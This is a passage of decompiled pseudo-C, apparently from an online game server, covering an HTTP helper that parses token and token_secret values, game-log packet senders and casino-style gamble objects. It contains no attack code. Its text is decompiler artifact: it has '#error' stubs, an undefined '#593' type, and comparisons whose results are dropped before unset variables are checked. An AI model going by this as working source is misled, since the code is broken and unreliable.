*(_DWORD *)v30; if ( v32 ) v32 -= v30; std::basic_string_std::allocator>::insert(v28, v32, 1u, v45); v33 = v53; v34 = p; for ( i = 0; i < v52; ++i ) { v36 = (void **)v34; if ( v33 < 0x10 ) v36 = &p; LOBYTE(v44) = *((_BYTE *)v36 + i); v37 = _First; if ( v49 < 0x10 ) v37 = &_First; v38 = (unsigned int)((char *)v37 + v48); v39 = _First; if ( v49 < 0x10 ) v39 = &_First; if ( v38 ) v38 -= (unsigned int)v39; std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&result, v38, 1u, v44); v33 = v53; v34 = p; v40 = p; if ( v53 < 0x10 ) v40 = &p; expbuf[v55] = *((_BYTE *)v40 + i); v55 = (v55 + 1) % 256; } LOBYTE(v57) = 0; if ( v33 >= 0x10 ) operator delete(v34); v5 = thisa; v53 = 15; v52 = 0; LOBYTE(p) = 0; } else { v15 = v11 + 1; if ( v12 < 0x10 ) v16 = (int)&v5->_Bx; else v16 = *(_DWORD *)v13; _Ch[0] = *(_BYTE *)(v16 + v15); v17 = _First; if ( v49 < 0x10 ) v17 = &_First; v18 = (unsigned int)((char *)v17 + v48); v19 = _First; if ( v49 < 0x10 ) v19 = &_First; if ( v18 ) v18 -= (unsigned int)v19; std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&result, v18, 1u, _Ch[0]); v5 = thisa; if ( thisa->_Myres < 0x10 ) v20 = v13; else v20 = *(_DWORD *)v13; expbuf[v55] = *(_BYTE *)(v20 + v15); v55 = (v55 + 1) % 256; } v11 = v15 + 1; } while ( v11 < (signed int)v5->_Mysize ); } std::basic_string_std::allocator>::swap( v5, (std::basic_string,std::allocator > *)&result); if ( v49 >= 0x10 ) operator delete(_First); __security_check_cookie((unsigned int)&thisa ^ v56); return v41; } // 5C4CB0: using guessed type char expbuf[256]; //----- (005C5020) -------------------------------------------------------- void __thiscall CHttpConnect::CHttpConnect(CHttpConnect *this, std::basic_string,std::allocator > *buf) { this->HTMLDocument = buf; } //----- (005C5030) -------------------------------------------------------- int __thiscall CHttpConnect::SetPortA(CHttpConnect *this, unsigned __int16 nPort) { int result; // eax@3 if ( nPort && !this->UrlInfo.bUsePort ) { this->UrlInfo.bUsePort = 1; this->UrlInfo.nPort = nPort; result = 1; } else { result = 0; } return result; } //----- (005C5060) -------------------------------------------------------- int __thiscall CHttpConnect::SetServer(CHttpConnect *this, char *sServer) { CHttpConnect *v2; // esi@1 int result; // eax@3 v2 = this; if ( sServer && !this->UrlInfo.bUseServer ) { strncpy(this->UrlInfo.sServer, sServer, 0x40u); ++v2->UrlInfo.bUseServer; result = 1; } else { result = 0; } return result; } //----- (005C50B0) -------------------------------------------------------- int __thiscall CHttpConnect::SetFuntion(CHttpConnect *this, char *sFuntion) { CHttpConnect *v2; // esi@1 int result; // eax@3 v2 = this; if ( sFuntion && !this->UrlInfo.bUseFuntion ) { strncpy(this->UrlInfo.sFuntion, sFuntion, 0x40u); ++v2->UrlInfo.bUseFuntion; result = 1; } else { result = 0; } return result; } //----- (005C5100) -------------------------------------------------------- int __thiscall CHttpConnect::SetParameter(CHttpConnect *this, char *sParameter, char *sParameterData) { CHttpConnect *v3; // esi@1 unsigned int v4; // eax@3 int result; // eax@4 v3 = this; if ( sParameter && sParameterData && (v4 = this->UrlInfo.nParameterCnt, v4 < 0xC) ) { _snprintf(this->UrlInfo.sParameter[v4], 0x80u, "%s=%s"); ++v3->UrlInfo.nParameterCnt; result = 1; } else { result = 0; } return result; } //----- (005C5160) -------------------------------------------------------- char *__thiscall CHttpConnect::MakeAddress(CHttpConnect *this) { CHttpConnect *v1; // esi@1 int v2; // edx@6 unsigned int v3; // eax@6 unsigned int v4; // edi@7 int v5; // ebp@8 int v6; // eax@10 char *result; // eax@11 v1 = this; if ( this->UrlInfo.bUsePath ) { this->UrlInfo.nAddressLen += _snprintf( &this->UrlInfo.sAddress[this->UrlInfo.nAddressLen], 1024 - this->UrlInfo.nAddressLen, "/%s"); v1->UrlInfo.bUsePath = 0; } if ( v1->UrlInfo.bUseVersion > 0u ) { v1->UrlInfo.nAddressLen += _snprintf( &v1->UrlInfo.sAddress[v1->UrlInfo.nAddressLen], 1024 - v1->UrlInfo.nAddressLen, "/%s"); v1->UrlInfo.bUseVersion = 0; } if ( v1->UrlInfo.bUseFuntion <= 0u ) { result = 0; } else { v2 = _snprintf(&v1->UrlInfo.sAddress[v1->UrlInfo.nAddressLen], 1024 - v1->UrlInfo.nAddressLen, "/%s?") + v1->UrlInfo.nAddressLen; v3 = v1->UrlInfo.nParameterCnt; v1->UrlInfo.nAddressLen = v2; v1->UrlInfo.bUseFuntion = 0; if ( v3 > 0 ) { v4 = 0; if ( v3 > 0 ) { v5 = (int)v1->UrlInfo.sParameter; do { v1->UrlInfo.nAddressLen += _snprintf( &v1->UrlInfo.sAddress[v1->UrlInfo.nAddressLen], 1024 - v1->UrlInfo.nAddressLen, "%s&"); ++v4; v5 += 128; } while ( v4 < v1->UrlInfo.nParameterCnt ); } v6 = v1->UrlInfo.nAddressLen - 1; v1->UrlInfo.nAddressLen = v6; v1->UrlInfo.sAddress[v6] = 0; v1->UrlInfo.nParameterCnt = 0; } result = v1->UrlInfo.sAddress; } return result; } //----- (005C52D0) -------------------------------------------------------- void __thiscall LuaScriptSecurity::LuaScriptSecurity(LuaScriptSecurity *this) { LuaScriptSecurity *v1; // esi@1 v1 = this; LuaScript::LuaScript(&this->baseclass_0); v1->baseclass_0.vfptr = (LuaScriptVtbl *)&LuaScriptSecurity::_vftable_; } // 6829F0: using guessed type int (*LuaScriptSecurity___vftable_)(); //----- (005C52F0) -------------------------------------------------------- void __thiscall LuaScriptSecurity::_LuaScriptSecurity(LuaScriptSecurity *this) { this->baseclass_0.vfptr = (LuaScriptVtbl *)&LuaScriptSecurity::_vftable_; LuaScriptScenario::_LuaScriptScenario((LuaScriptScenario *)this); } // 6829F0: using guessed type int (*LuaScriptSecurity___vftable_)(); //----- (005C5300) -------------------------------------------------------- int __thiscall CHttpConnect::GetToken(CHttpConnect *this, GET_TOKEN *pGetToken) { CHttpConnect *v2; // ebp@1 int result; // eax@3 char *v4; // eax@4 char v5; // cl@5 unsigned int v6; // edi@6 char *v7; // eax@6 char v8; // cl@7 signed int v9; // esi@8 std::basic_string,std::allocator > *v10; // eax@9 int v11; // eax@10 int v12; // eax@12 signed int v13; // eax@15 std::basic_string,std::allocator > *v14; // ecx@16 signed int v15; // edx@16 int v16; // ecx@17 char v17; // cl@19 std::basic_string,std::allocator > *v18; // ecx@20 int v19; // ecx@21 char v20; // cl@23 std::basic_string,std::allocator > *v21; // ecx@24 int v22; // ecx@25 char v23; // cl@27 std::basic_string,std::allocator > *v24; // ecx@28 int v25; // ecx@29 char v26; // cl@31 int v27; // esi@33 int v28; // eax@34 int v29; // eax@35 std::basic_string,std::allocator > *v30; // eax@41 int v31; // eax@42 size_t v32; // edi@44 int v33; // eax@44 signed int v34; // eax@47 std::basic_string,std::allocator > *v35; // ecx@48 int v36; // ecx@49 char v37; // cl@51 std::basic_string,std::allocator > *v38; // ecx@52 int v39; // ecx@53 char v40; // cl@55 std::basic_string,std::allocator > *v41; // ecx@56 int v42; // ecx@57 char v43; // cl@59 std::basic_string,std::allocator > *v44; // ecx@60 int v45; // ecx@61 char v46; // cl@63 size_t nValTokenSecretLen; // [sp+8h] [bp-30h]@1 char sValTokenSecret[4]; // [sp+Ch] [bp-2Ch]@4 int v49; // [sp+10h] [bp-28h]@4 int v50; // [sp+14h] [bp-24h]@4 char v51; // [sp+18h] [bp-20h]@4 int v52; // [sp+19h] [bp-1Fh]@4 __int16 v53; // [sp+1Dh] [bp-1Bh]@4 char v54; // [sp+1Fh] [bp-19h]@4 char sValToken[4]; // [sp+20h] [bp-18h]@4 __int16 v56; // [sp+24h] [bp-14h]@4 int v57; // [sp+26h] [bp-12h]@4 int v58; // [sp+2Ah] [bp-Eh]@4 int v59; // [sp+2Eh] [bp-Ah]@4 __int16 v60; // [sp+32h] [bp-6h]@4 unsigned int v61; // [sp+34h] [bp-4h]@1 v61 = (unsigned int)&nValTokenSecretLen ^ __security_cookie; v2 = this; if ( pGetToken && this->bHtmlSuccess ) { v56 = word_682A08; v57 = 0; *(_DWORD *)sValToken = *(_DWORD *)"token"; v58 = 0; v49 = dword_6829F8; v59 = 0; *(_DWORD *)sValTokenSecret = *(_DWORD *)"token_secret"; v60 = 0; v52 = 0; v51 = byte_682A00; v53 = 0; v4 = sValToken; v50 = dword_6829FC; v54 = 0; do v5 = *v4++; while ( v5 ); v6 = v4 - &sValToken[1]; v7 = sValTokenSecret; do v8 = *v7++; while ( v8 ); nValTokenSecretLen = v7 - &sValTokenSecret[1]; v9 = 0; if ( (signed int)v2->nHTMLDocumentLen <= 0 ) goto LABEL_14; while ( 1 ) { v10 = v2->HTMLDocument; v11 = (int)(v10->_Myres < 0x10 ? &v10->_Bx : *(_DWORD *)&v10->_Bx._Buf[0]); strncmp((char *)(v9 + v11), sValToken, v6); if ( !v12 ) break; ++v9; if ( v9 >= (signed int)v2->nHTMLDocumentLen ) goto LABEL_14; } v13 = 0; while ( 1 ) { v14 = v2->HTMLDocument; v15 = 16; v16 = (int)(v14->_Myres < 0x10 ? &v14->_Bx : *(_DWORD *)&v14->_Bx._Buf[0]); v17 = *(_BYTE *)(v9 + v13 + v16 + v6 + 3); pGetToken->sToken[v13] = v17; if ( v17 == 34 ) break; v18 = v2->HTMLDocument; if ( v18->_Myres < 0x10 ) v19 = (int)&v18->_Bx; else v19 = *(_DWORD *)&v18->_Bx._Buf[0]; v20 = *(_BYTE *)(v9 + v13 + v19 + v6 + 4); pGetToken->sToken[v13 + 1] = v20; if ( v20 == 34 ) { v28 = v13 + 1; pGetToken->sToken[v28] = 0; v27 = v9 + v6 + v28 + 3; goto LABEL_38; } v21 = v2->HTMLDocument; if ( v21->_Myres < 0x10 ) v22 = (int)&v21->_Bx; else v22 = *(_DWORD *)&v21->_Bx._Buf[0]; v23 = *(_BYTE *)(v9 + v13 + v22 + v6 + 5); pGetToken->sToken[v13 + 2] = v23; if ( v23 == 34 ) { v29 = v13 + 2; pGetToken->sToken[v29] = 0; v27 = v9 + v6 + v29 + 3; goto LABEL_38; } v24 = v2->HTMLDocument; if ( v24->_Myres < 0x10 ) v25 = (int)&v24->_Bx; else v25 = *(_DWORD *)&v24->_Bx._Buf[0]; v26 = *(_BYTE *)(v9 + v13 + v25 + v6 + 6); pGetToken->sToken[v13 + 3] = v26; if ( v26 == 34 ) { v13 += 3; break; } v13 += 4; if ( v13 >= 128 ) { pGetToken->sToken[v13] = 0; v27 = v9 + v6 + v13 + 3; goto LABEL_38; } } pGetToken->sToken[v13] = 0; v27 = v9 + v6 + v13 + 3; LABEL_38: if ( v27 >= (signed int)v2->nHTMLDocumentLen ) { LABEL_14: result = 0; } else { while ( 1 ) { v30 = v2->HTMLDocument; v31 = (int)(v30->_Myres < v15 ? &v30->_Bx : *(_DWORD *)&v30->_Bx._Buf[0]); v32 = nValTokenSecretLen; strncmp((char *)(v27 + v31), sValTokenSecret, nValTokenSecretLen); if ( !v33 ) break; ++v27; if ( v27 >= (signed int)v2->nHTMLDocumentLen ) goto LABEL_14; v15 = 16; } v34 = 0; do { v35 = v2->HTMLDocument; v36 = (int)(v35->_Myres < 0x10 ? &v35->_Bx : *(_DWORD *)&v35->_Bx._Buf[0]); v37 = *(_BYTE *)(v27 + v34 + v36 + v32 + 3); pGetToken->sTokenSecret[v34] = v37; if ( v37 == 34 ) break; v38 = v2->HTMLDocument; if ( v38->_Myres < 0x10 ) v39 = (int)&v38->_Bx; else v39 = *(_DWORD *)&v38->_Bx._Buf[0]; v40 = *(_BYTE *)(v27 + v34 + v39 + v32 + 4); pGetToken->sTokenSecret[v34 + 1] = v40; if ( v40 == 34 ) { ++v34; break; } v41 = v2->HTMLDocument; if ( v41->_Myres < 0x10 ) v42 = (int)&v41->_Bx; else v42 = *(_DWORD *)&v41->_Bx._Buf[0]; v43 = *(_BYTE *)(v27 + v34 + v42 + v32 + 5); pGetToken->sTokenSecret[v34 + 2] = v43; if ( v43 == 34 ) { v34 += 2; break; } v44 = v2->HTMLDocument; if ( v44->_Myres < 0x10 ) v45 = (int)&v44->_Bx; else v45 = *(_DWORD *)&v44->_Bx._Buf[0]; v46 = *(_BYTE *)(v27 + v34 + v45 + v32 + 6); pGetToken->sTokenSecret[v34 + 3] = v46; if ( v46 == 34 ) { v34 += 3; break; } v34 += 4; } while ( v34 < 128 ); pGetToken->sTokenSecret[v34] = 0; result = 1; } } else { result = 0; } return result; } // 6829F8: using guessed type int dword_6829F8; // 6829FC: using guessed type int dword_6829FC; // 682A00: using guessed type char byte_682A00; // 682A08: using guessed type __int16 word_682A08; //----- (005C5620) -------------------------------------------------------- int __thiscall CHttpConnect::InitConnection(CHttpConnect *this, unsigned int nTimeOut) { CHttpConnect *v2; // esi@1 std::basic_string,std::allocator > *v3; // ecx@1 unsigned int v4; // edi@1 int v5; // edx@1 int v6; // ebx@2 HINTERNET v7; // eax@6 int v8; // eax@7 std::basic_string,std::allocator >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::basic_string,std::allocator >::iterator)this; v2 = this; v3 = this->HTMLDocument; v2->nError = 0; v4 = v3->_Myres; v5 = (int)&v3->_Bx; if ( v4 < 0x10 ) v6 = (int)&v3->_Bx; else v6 = *(_DWORD *)v5; if ( v4 >= 0x10 ) v5 = *(_DWORD *)v5; std::basic_string_std::allocator>::erase( v3, &result, (std::basic_string,std::allocator >::iterator)v5, (std::basic_string,std::allocator >::iterator)(v6 + v3->_Mysize)); memset(&v2->UrlInfo, 0, sizeof(v2->UrlInfo)); v7 = InternetOpenA("HTTP_CONNECT", 0, 0, 0, 0); v2->hInternet = v7; if ( v7 ) { InternetSetOptionA(v7, 2u, &nTimeOut, 4u); InternetSetOptionA(v2->hInternet, 6u, &nTimeOut, 4u); InternetSetOptionA(v2->hInternet, 5u, &nTimeOut, 4u); InternetSetOptionA(v2->hInternet, 7u, &nTimeOut, 4u); InternetSetOptionA(v2->hInternet, 8u, &nTimeOut, 4u); v8 = 1; } else { v2->nError = GetLastError(); v8 = 0; } return v8; } //----- (005C56F0) -------------------------------------------------------- int __thiscall CHttpConnect::QueryToServer(CHttpConnect *this) { CHttpConnect *v1; // esi@1 void *v2; // edx@1 int v3; // eax@1 HINTERNET v4; // eax@1 char *v5; // eax@2 HINTERNET v6; // eax@3 void *i; // edi@7 unsigned int v9; // ecx@11 char *v10; // eax@12 char v11; // cl@13 bool v12; // zf@14 DWORD dwInfoBufferLength; // [sp+10h] [bp-118h]@7 DWORD dwRead; // [sp+14h] [bp-114h]@11 char szReadBuffer; // [sp+18h] [bp-110h]@10 char v16; // [sp+19h] [bp-10Fh]@10 unsigned int v17; // [sp+124h] [bp-4h]@1 int v18; // [sp+128h] [bp+0h]@1 v1 = this; v2 = this->hInternet; v17 = (unsigned int)&v18 ^ __security_cookie; v3 = this->UrlInfo.nPort; this->bHtmlSuccess = 0; v4 = InternetConnectA(v2, this->UrlInfo.sServer, v3, 0, 0, 3u, 0, 0); v1->hConnection = v4; if ( !v4 ) goto LABEL_20; v5 = CHttpConnect::MakeAddress(v1); if ( !v5 ) return 0; v6 = HttpOpenRequestA(v1->hConnection, "GET", v5, 0, 0, 0, 0, 0); v1->hRequest = v6; if ( !v6 || !HttpSendRequestA(v6, 0, 0, 0, 0) ) { LABEL_20: v1->nError = GetLastError(); return 0; } dwInfoBufferLength = 10; for ( i = malloc(0xBu); !HttpQueryInfoA(v1->hRequest, 0x13u, i, &dwInfoBufferLength, 0); i = malloc(dwInfoBufferLength + 1) ) { if ( GetLastError() != 122 ) break; free(i); } szReadBuffer = 0; memset(&v16, 0, 0x100u); v1->nHTMLDocumentLen = 0; while ( 1 ) { InternetReadFile(v1->hRequest, &szReadBuffer, 0x100u, &dwRead); v9 = dwRead + v1->nHTMLDocumentLen; *(&szReadBuffer + dwRead) = 0; if ( v9 >= 0x186A0 ) break; v10 = &szReadBuffer; do v11 = *v10++; while ( v11 ); std::basic_string_std::allocator>::append( v1->HTMLDocument, &szReadBuffer, v10 - &v16); v12 = dwRead == 0; v1->nHTMLDocumentLen += dwRead; v1->bHtmlSuccess = 1; if ( v12 ) goto LABEL_17; } v1->bHtmlSuccess = 0; LABEL_17: InternetCloseHandle(v1->hRequest); InternetCloseHandle(v1->hConnection); InternetCloseHandle(v1->hInternet); return 1; } //----- (005C58C0) -------------------------------------------------------- int __cdecl Send_NC_LOG_GAME_DATA_TYPE_F(unsigned int nType, unsigned int nCharNo, Name3 sMap, unsigned int nMapX, unsigned int nMapY, unsigned int nMapZ, unsigned int nTargetID, unsigned __int64 nItemKey, unsigned int nInt1, unsigned int nInt2, unsigned int nInt3, unsigned __int64 nBigint1) { int result; // eax@4 unsigned int v13; // [sp+0h] [bp-4h]@1 v13 = (unsigned int)&v13 ^ __security_cookie; if ( !(_S35_4 & 1) ) { _S35_4 |= 1u; SendLogPacket.pp_Buffer = 0; SendLogPacket.pp_PacketLength = 0; atexit(_E36_9); } *(_WORD *)SendLogPacketBuffer = *(_WORD *)SendLogPacketBuffer & 0x3FF | 0x400; *(_WORD *)SendLogPacketBuffer = *(_WORD *)SendLogPacketBuffer & 0xFFF7 | 0x3F7; *(_DWORD *)&SendLogPacketBuffer[2] = nType; dword_14BC4512 = *(_DWORD *)&sMap; dword_14BC450E = nCharNo; dword_14BC4516 = *(_DWORD *)&sMap.n3_name[4]; dword_14BC451E = nMapX; dword_14BC451A = *(_DWORD *)&sMap.n3_name[8]; dword_14BC4522 = nMapY; dword_14BC452A = nTargetID; dword_14BC4526 = nMapZ; dword_14BC452E = nItemKey; dword_14BC4536 = nInt1; dword_14BC4532 = HIDWORD(nItemKey); dword_14BC453A = nInt2; dword_14BC4542 = nBigint1; SendLogPacket.pp_Buffer = SendLogPacketBuffer; SendLogPacket.pp_BufferSize = 1024; dword_14BC453E = nInt3; dword_14BC4546 = HIDWORD(nBigint1); if ( ProtocolPacket::pp_SetPacketLen(&SendLogPacket, 66) ) { result = (int)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&SendLogPacket, (ZoneBaseSession *)result); __security_check_cookie((unsigned int)&v13 ^ v13); } else { AssertClass::ac_AssertFail(&shineassert, "Send_NC_LOG_GAME_DATA_TYPE_F : Packet Too Long", 66); __security_check_cookie((unsigned int)&v13 ^ v13); } return result; } // 14BC450E: using guessed type int dword_14BC450E; // 14BC4512: using guessed type int dword_14BC4512; // 14BC4516: using guessed type int dword_14BC4516; // 14BC451A: using guessed type int dword_14BC451A; // 14BC451E: using guessed type int dword_14BC451E; // 14BC4522: using guessed type int dword_14BC4522; // 14BC4526: using guessed type int dword_14BC4526; // 14BC452A: using guessed type int dword_14BC452A; // 14BC452E: using guessed type int dword_14BC452E; // 14BC4532: using guessed type int dword_14BC4532; // 14BC4536: using guessed type int dword_14BC4536; // 14BC453A: using guessed type int dword_14BC453A; // 14BC453E: using guessed type int dword_14BC453E; // 14BC4542: using guessed type int dword_14BC4542; // 14BC4546: using guessed type int dword_14BC4546; //----- (005C5A40) -------------------------------------------------------- int __cdecl Send_NC_LOG_GAME_DATA_TYPE_G(unsigned int nType, unsigned int nCharNo, Name3 sMap, unsigned int nMapX, unsigned int nMapY, unsigned int nMapZ, unsigned int nTargetID, unsigned __int64 nItemKey, unsigned int nInt1, unsigned int nInt2, unsigned __int64 nBigint1) { int result; // eax@4 unsigned int v12; // [sp+0h] [bp-4h]@1 v12 = (unsigned int)&v12 ^ __security_cookie; if ( !(_S37_5 & 1) ) { _S37_5 |= 1u; SendLogPacket_0.pp_Buffer = 0; SendLogPacket_0.pp_PacketLength = 0; atexit(_E38_5); } *(_WORD *)SendLogPacketBuffer_0 = *(_WORD *)SendLogPacketBuffer_0 & 0x3FF | 0x400; *(_WORD *)SendLogPacketBuffer_0 = *(_WORD *)SendLogPacketBuffer_0 & 0xFFF8 | 0x3F8; dword_14BC4922 = *(_DWORD *)&sMap; *(_DWORD *)&SendLogPacketBuffer_0[2] = nType; dword_14BC491E = nCharNo; dword_14BC492E = nMapX; dword_14BC4926 = *(_DWORD *)&sMap.n3_name[4]; dword_14BC492A = *(_DWORD *)&sMap.n3_name[8]; dword_14BC493A = nTargetID; dword_14BC4932 = nMapY; dword_14BC4936 = nMapZ; dword_14BC4946 = nInt1; dword_14BC493E = nItemKey; dword_14BC4942 = HIDWORD(nItemKey); dword_14BC4952 = HIDWORD(nBigint1); SendLogPacket_0.pp_Buffer = SendLogPacketBuffer_0; SendLogPacket_0.pp_BufferSize = 1024; dword_14BC494A = nInt2; dword_14BC494E = nBigint1; if ( ProtocolPacket::pp_SetPacketLen(&SendLogPacket_0, 62) ) { result = (int)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&SendLogPacket_0, (ZoneBaseSession *)result); __security_check_cookie((unsigned int)&v12 ^ v12); } else { AssertClass::ac_AssertFail(&shineassert, "Send_NC_LOG_GAME_DATA_TYPE_G : Packet Too Long", 62); __security_check_cookie((unsigned int)&v12 ^ v12); } return result; } // 14BC491E: using guessed type int dword_14BC491E; // 14BC4922: using guessed type int dword_14BC4922; // 14BC4926: using guessed type int dword_14BC4926; // 14BC492A: using guessed type int dword_14BC492A; // 14BC492E: using guessed type int dword_14BC492E; // 14BC4932: using guessed type int dword_14BC4932; // 14BC4936: using guessed type int dword_14BC4936; // 14BC493A: using guessed type int dword_14BC493A; // 14BC493E: using guessed type int dword_14BC493E; // 14BC4942: using guessed type int dword_14BC4942; // 14BC4946: using guessed type int dword_14BC4946; // 14BC494A: using guessed type int dword_14BC494A; // 14BC494E: using guessed type int dword_14BC494E; // 14BC4952: using guessed type int dword_14BC4952; //----- (005C5BC0) -------------------------------------------------------- #error "5C5BC0: undefined or illegal type '#593' (funcsize=11)" //----- (005C5BE0) -------------------------------------------------------- void __thiscall CGambleObject::_CGambleObject(CGambleObject *this) { CGambleObject *v1; // esi@1 void *v2; // eax@1 void *v3; // esi@3 v1 = this; v2 = this->go_pEnterPlayerObj; this->vfptr = (CGambleObjectVtbl *)CGambleObject::_vftable_; if ( v2 ) operator delete__(v2); v3 = v1->go_nWhoStandHnd; if ( v3 ) operator delete__(v3); } // 682A80: using guessed type int (__stdcall *CGambleObject___vftable_[3])(int pEntPlayer); //----- (005C5C10) -------------------------------------------------------- #error "5C5C10: undefined or illegal type '#593' (funcsize=8)" //----- (005C5C30) -------------------------------------------------------- #error "5C5C30: undefined or illegal type '#593' (funcsize=29)" //----- (005C5C80) -------------------------------------------------------- char __thiscall CGambleObject::go_Init_nWhoStandHnd(CGambleObject *this, int MaxWhoStanCnt) { CGambleObject *v2; // esi@1 void *v3; // eax@1 char result; // al@2 int i; // eax@3 v2 = this; this->go_nMaxWhereStandCnt = MaxWhoStanCnt; v3 = operator new__(2 * MaxWhoStanCnt); v2->go_nWhoStandHnd = (unsigned __int16 *)v3; if ( v3 ) { for ( i = 0; i < MaxWhoStanCnt; ++i ) v2->go_nWhoStandHnd[i] = -1; result = 1; } else { result = 0; } return result; } //----- (005C5CD0) -------------------------------------------------------- #error "5C5CD0: undefined or illegal type '#593' (funcsize=69)" //----- (005C5D90) -------------------------------------------------------- #error "5C5D90: undefined or illegal type '#593' (funcsize=40)" //----- (005C5DF0) -------------------------------------------------------- char __thiscall CGambleObject::go_Get_EnterPlayerCnt(CGambleObject *this) { return this->go_nEnterPlayerCnt; } //----- (005C5E00) -------------------------------------------------------- #error "5C5E00: undefined or illegal type '#593' (funcsize=13)" //----- (005C5E30) -------------------------------------------------------- char __thiscall CGambleObject::go_Get_EnterPlayerIndex(CGambleObject *this, int *nGetIndex, #593 *pObj) { CGambleObject *v3; // eax@1 #593 **v4; // ecx@1 char result; // al@2 int v6; // esi@3 int v7; // edx@3 v3 = this; v4 = this->go_pEnterPlayerObj; if ( v4 ) { v6 = v3->go_nEnterPlayerCnt; v7 = 0; if ( v6 <= 0 ) { LABEL_7: result = 0; } else { while ( !*v4 || *v4 != pObj ) { ++v7; ++v4; if ( v7 >= v6 ) goto LABEL_7; } *nGetIndex = v7; result = 1; } } else { result = 0; } return result; } //----- (005C5E80) -------------------------------------------------------- #error "5C5E80: undefined or illegal type '#593' (funcsize=33)" //----- (005C5ED0) -------------------------------------------------------- #error "5C5ED0: undefined or illegal type '#593' (funcsize=41)" //----- (005C5F30) -------------------------------------------------------- char __thiscall CGambleObject::go_CanEnter(CGambleObject *this) { return (unsigned __int8)this->go_nEnterPlayerCnt < this->go_nMaxEnterPlayerCnt; } //----- (005C5F40) -------------------------------------------------------- char __thiscall CGambleObject::go_WhereStand(CGambleObject *this, char *pWhereStand) { char result; // al@2 signed int v3; // edi@3 signed int v4; // esi@3 unsigned __int16 *v5; // ebx@4 if ( pWhereStand ) { v3 = this->go_nMaxWhereStandCnt; v4 = 0; if ( v3 <= 0 ) { LABEL_7: result = 0; } else { v5 = this->go_nWhoStandHnd; while ( v5[this->go_nWhereStandCurr] != -1 ) { ++v4; this->go_nWhereStandCurr = (unsigned __int8)(this->go_nWhereStandCurr + 1) % v3; if ( v4 >= this->go_nMaxWhereStandCnt ) goto LABEL_7; } *pWhereStand = this->go_nWhereStandCurr; result = 1; this->go_nWhereStandCurr = (unsigned __int8)(this->go_nWhereStandCurr + 1) % (signed __int16)this->go_nMaxWhereStandCnt; } } else { result = 0; } return result; } //----- (005C5FB0) -------------------------------------------------------- char __thiscall CGambleObject::go_CanWhereStand(CGambleObject *this, char nWhereStand) { char result; // al@2 if ( (unsigned __int8)nWhereStand < this->go_nMaxWhereStandCnt ) result = this->go_nWhoStandHnd[(unsigned __int8)nWhereStand] == -1; else result = 0; return result; } //----- (005C5FD0) -------------------------------------------------------- char __thiscall CGambleDiceTaiSaiObject::go_CanLevel(CGambleDiceTaiSaiObject *this, char nLevel) { return (unsigned __int8)nLevel >= this->G_DiceTaiSai.GambleActiveDice.UseMinLv; } //----- (005C5FF0) -------------------------------------------------------- unsigned __int16 __thiscall CGambleObject::SMS_StopButton(CGambleObject *this, #593 *a2, PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *ack) { return 10445; } //----- (005C6000) -------------------------------------------------------- unsigned __int16 __thiscall CGambleObject::SMS_WheelStop(CGambleObject *this, #593 *player) { return 10445; } //----- (005C6010) -------------------------------------------------------- unsigned __int16 __thiscall CGambleObject::SMS_WheelStop(CGambleObject *this, #593 *a2, PROTO_NC_GAMBLE_SLOTMACHINE_DB_RESULT_ACK *dback, PROTO_NC_GAMBLE_SLOTMACHINE_WHEELSTOP_ACK *ack) { return 10445; } //----- (005C6020) -------------------------------------------------------- char __thiscall CGambleObject::go_MaxPlayerInObject(CGambleObject *this, MobType mobtype) { unsigned int v2; // edi@2 unsigned int v3; // esi@4 void *v4; // eax@5 char result; // al@8 if ( gGBJoinGameMember.m_pHead ) v2 = gGBJoinGameMember.m_pHead->nNumOfRecord; else v2 = 0; v3 = 0; if ( (signed int)v2 <= 0 ) { result = 0; } else { while ( 1 ) { v4 = CDataReader::GetRecord(&gGBJoinGameMember, v3); if ( !v4 ) break; if ( *(_DWORD *)v4 != mobtype ) { ++v3; if ( (signed int)v3 < (signed int)v2 ) continue; } return *((_BYTE *)v4 + 5); } result = 0; } return result; } //----- (005C6070) -------------------------------------------------------- #error "5C6070: undefined or illegal type '#593' (funcsize=75)" //----- (005C6140) -------------------------------------------------------- GBEventCode *__thiscall SHND::CommonData::cd_Find(SHND::CommonData *this, SHND::CmpEventCode cmp) { GBEventCode *v2; // edi@1 unsigned int v3; // esi@1 int v4; // ebx@1 v2 = this->cd_Data._Myfirst; v3 = 0; v4 = 0; while ( v2 && v3 < this->cd_Data._Mylast - v2 ) { if ( *(_QWORD *)&this->cd_Data._Myfirst[v4].GameType == cmp ) return &this->cd_Data._Myfirst[v3]; ++v3; ++v4; } return 0; } //----- (005C61B0) -------------------------------------------------------- #error "5C61B0: undefined or illegal type '#593' (funcsize=188)" //----- (005C6400) -------------------------------------------------------- #error "5C6400: undefined or illegal type '#593' (funcsize=81)" //----- (005C6550) -------------------------------------------------------- void __thiscall SHND::CommonData>::CommonData>(SHND::CommonData *this, char *shn) { SHND::CommonData *v2; // esi@1 v2 = this; this->cd_Data._Myfirst = 0; this->cd_Data._Mylast = 0; this->cd_Data._Myend = 0; this->cd_ShnName = shn; if ( this->cd_Data._Myfirst ) operator delete(this->cd_Data._Myfirst); v2->cd_Data._Myfirst = 0; v2->cd_Data._Mylast = 0; v2->cd_Data._Myend = 0; } //----- (005C6590) -------------------------------------------------------- int __thiscall CGambleObjectManager::gom_GetGambleObjectMaxCnt(CGambleObjectManager *this, GAMBLE_TYPE nGambleType) { int result; // eax@3 if ( nGambleType == 1 ) { result = this->gom_DiceTaisaiMaxCnt; } else { if ( nGambleType == 2 ) result = this->gom_SlotMachine.MaxNumber; else result = 0; } return result; } //----- (005C65B0) -------------------------------------------------------- CGambleObject *__thiscall CGambleObjectManager::gom_GetGambleObject(CGambleObjectManager *this, GAMBLE_TYPE nGambleType, unsigned __int16 nIndex) { if ( nGambleType != 1 ) { if ( nGambleType == 2 && this->gom_SlotMachine.MaxNumber > nIndex ) return &this->gom_SlotMachine.SlotMachine[nIndex].baseclass_0; return 0; } if ( this->gom_DiceTaisaiMaxCnt <= nIndex ) return 0; return &this->gom_DiceTaisai[nIndex].baseclass_0; } //----- (005C6600) -------------------------------------------------------- CGambleObject *__thiscall CGambleObjectManager::gom_FindGambleObject(CGambleObjectManager *this, unsigned int nCharNo, GAMBLE_TYPE GambleType) { CGambleObjectManager *v3; // edi@1 int v4; // ebp@3 int 